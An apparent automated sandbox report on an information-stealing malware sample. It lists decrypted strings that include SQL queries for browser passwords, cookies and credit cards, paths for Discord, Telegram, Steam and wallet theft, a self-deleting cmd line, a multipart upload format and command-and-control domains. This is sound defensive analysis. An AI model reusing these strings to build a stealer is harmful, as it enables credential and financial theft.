Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: HttpSendRequestA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: HttpOpenRequestA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: InternetReadFile
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: InternetCrackUrlA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: StrCmpCA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: StrStrA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: StrCmpCW
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: PathMatchSpecA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetModuleFileNameExA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: RmStartSession
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: RmRegisterResources
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: RmGetList
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: RmEndSession
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: sqlite3_open
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: sqlite3_prepare_v2
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: sqlite3_step
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: sqlite3_column_text
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: sqlite3_finalize
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: sqlite3_close
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: sqlite3_column_bytes
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: sqlite3_column_blob
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: encrypted_key
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: PATH
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: NSS_Init
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: NSS_Shutdown
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: PK11_FreeSlot
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: PK11_Authenticate
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: PK11SDR_Decrypt
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: C:\ProgramData\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: browser:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: profile:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: url:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: login:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: password:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Opera
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: OperaGX
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Network
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: cookies
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: .txt
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: TRUE
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: FALSE
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: autofill
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SELECT name, value FROM autofill
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: history
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: cc
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: name:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: month:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: year:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: card:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Cookies
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Login Data
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Web Data
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: History
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: logins.json
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: formSubmitURL
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: usernameField
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: encryptedUsername
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: encryptedPassword
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: guid
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: cookies.sqlite
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: formhistory.sqlite
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: places.sqlite
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: plugins
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Local Extension Settings
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Sync Extension Settings
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: IndexedDB
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Opera Stable
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Opera GX Stable
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CURRENT
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: chrome-extension_
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: _0.indexeddb.leveldb
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Local State
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: profiles.ini
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: chrome
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: opera
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: firefox
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: wallets
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %08lX%04lX%lu
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: ProductName
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: x32
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: x64
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: ProcessorNameString
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: DisplayName
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: DisplayVersion
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Network Info:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - IP: IP?
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Country: ISO?
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: System Summary:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - HWID:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - OS:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Architecture:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - UserName:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Computer Name:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Local Time:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - UTC:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Language:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Keyboards:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Laptop:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Running Path:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - CPU:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Threads:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Cores:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - RAM:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - Display Resolution:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: - GPU:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: User Agents:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Installed Apps:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: All Users:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Current User:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Process List:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: system_info.txt
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: freebl3.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: mozglue.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: msvcp140.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: nss3.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: softokn3.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: vcruntime140.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: \Temp\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: .exe
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: runas
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: open
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: /c start
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %DESKTOP%
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %APPDATA%
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %LOCALAPPDATA%
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %USERPROFILE%
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %DOCUMENTS%
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %PROGRAMFILES%
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %PROGRAMFILES_86%
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %RECENT%
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: *.lnk
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: files
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: \discord\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: \Local Storage\leveldb
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: \Telegram Desktop\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: key_datas
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: D877F783D5D3EF8C*
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: map*
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: A7FDF864FBC10B77*
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: F8806DD0C461824F*
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Telegram
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Tox
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: *.tox
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: *.ini
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Password
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: 00000001
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: 00000002
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: 00000003
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: 00000004
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: \Outlook\accounts.txt
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Pidgin
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: \.purple\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: accounts.xml
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: dQw4w9WgXcQ
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: token:
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Software\Valve\Steam
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SteamPath
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: \config\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: ssfn*
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: config.vdf
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: DialogConfig.vdf
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: libraryfolders.vdf
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: loginusers.vdf
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: \Steam\
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: sqlite3.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: browsers
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: done
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: soft
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: \Discord\tokens.txt
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: https
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: POST
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: HTTP/1.1
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: hwid
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: build
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: token
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: file_name
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: file
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: message
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: screenshot.jpg
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: scriptyprefej.store
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: navygenerayk.store
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: founpiuer.store
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: necklacedmny.store
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: thumbystriw.store
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: fadehairucw.store
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: crisiwarny.store
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: presticitpo.store
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: presticitpo.store
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: - Screen Resoluton:
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: Workgroup: -
Source: 11.2.44e053de15.exe.cb0000.0.unpack	String decryptor: 4SD0y4--legendaryy

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Code function: 7_2_00CCD7F8 CryptUnprotectData,

7_2_00CCD7F8

Phishing

Yara detected BlockedWebSite

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\1004528001\pohtent.exe, type: DROPPED

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.4:50074 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 932a9eb371.exe, 00000008.00000002.2829037172.000000006C0ED000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: nss3.pdb@ source: 932a9eb371.exe, 00000008.00000002.2830130365.000000006C2AF000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: my_library.pdbU source: 44e053de15.exe, 00000007.00000003.2656371026.000000000854B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2985941651.00000000062DC000.00000040.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2787161669.000000000005C000.00000040.00000001.01000000.0000000A.sdmp, 932a9eb371.exe, 00000008.00000002.2832113695.000000006C371000.00000002.00000001.01000000.0000000B.sdmp, 932a9eb371.exe, 00000008.00000003.2452950173.0000000004F1B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000002.2934224445.00000000066AC000.00000040.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2752337356.0000000008AEB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 44e053de15.exe, 44e053de15.exe, 00000007.00000003.2656371026.000000000854B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2985941651.00000000062DC000.00000040.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2787161669.000000000005C000.00000040.00000001.01000000.0000000A.sdmp, 932a9eb371.exe, 00000008.00000002.2832113695.000000006C371000.00000002.00000001.01000000.0000000B.sdmp, 932a9eb371.exe, 00000008.00000003.2452950173.0000000004F1B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000002.2934224445.00000000066AC000.00000040.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2752337356.0000000008AEB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: 932a9eb371.exe, 00000008.00000002.2830130365.000000006C2AF000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 803fbc23e3.exe, 0000000F.00000002.2714857264.00000000008A2000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: mozglue.pdb source: 932a9eb371.exe, 00000008.00000002.2829037172.000000006C0ED000.00000002.00000001.01000000.00000018.sdmp

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Directory queried: number of queries: 2390

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then jmp ecx	7_2_00CC104F
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-42h]	7_2_00CBE1A0
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then jmp eax	7_2_00CEE210
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+6D44C030h]	7_2_00CDAB20
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9ABDB589h	7_2_00CDAB20
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	7_2_00CF4C40
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+75E07B5Ch]	7_2_00CBEC20
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0000008Ah]	7_2_00CBCF90
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	7_2_00CB5890
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+38h]	7_2_00CCE07E
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then jmp ecx	7_2_00CD8290
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+ecx-14h]	7_2_00CF3A90
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then and esi, 001FF800h	7_2_00CB4BA0
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then jmp ecx	7_2_00CC14CE
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+6D44C02Ch]	7_2_00CEFC90
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then mov word ptr [ebp+edx*4+00h], ax	7_2_00CBBD50
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+34h]	7_2_00CBBD50
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 4x nop then jmp edx	7_2_00CB8EF0

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 42MB

Networking

Suricata IDS alerts for network traffic

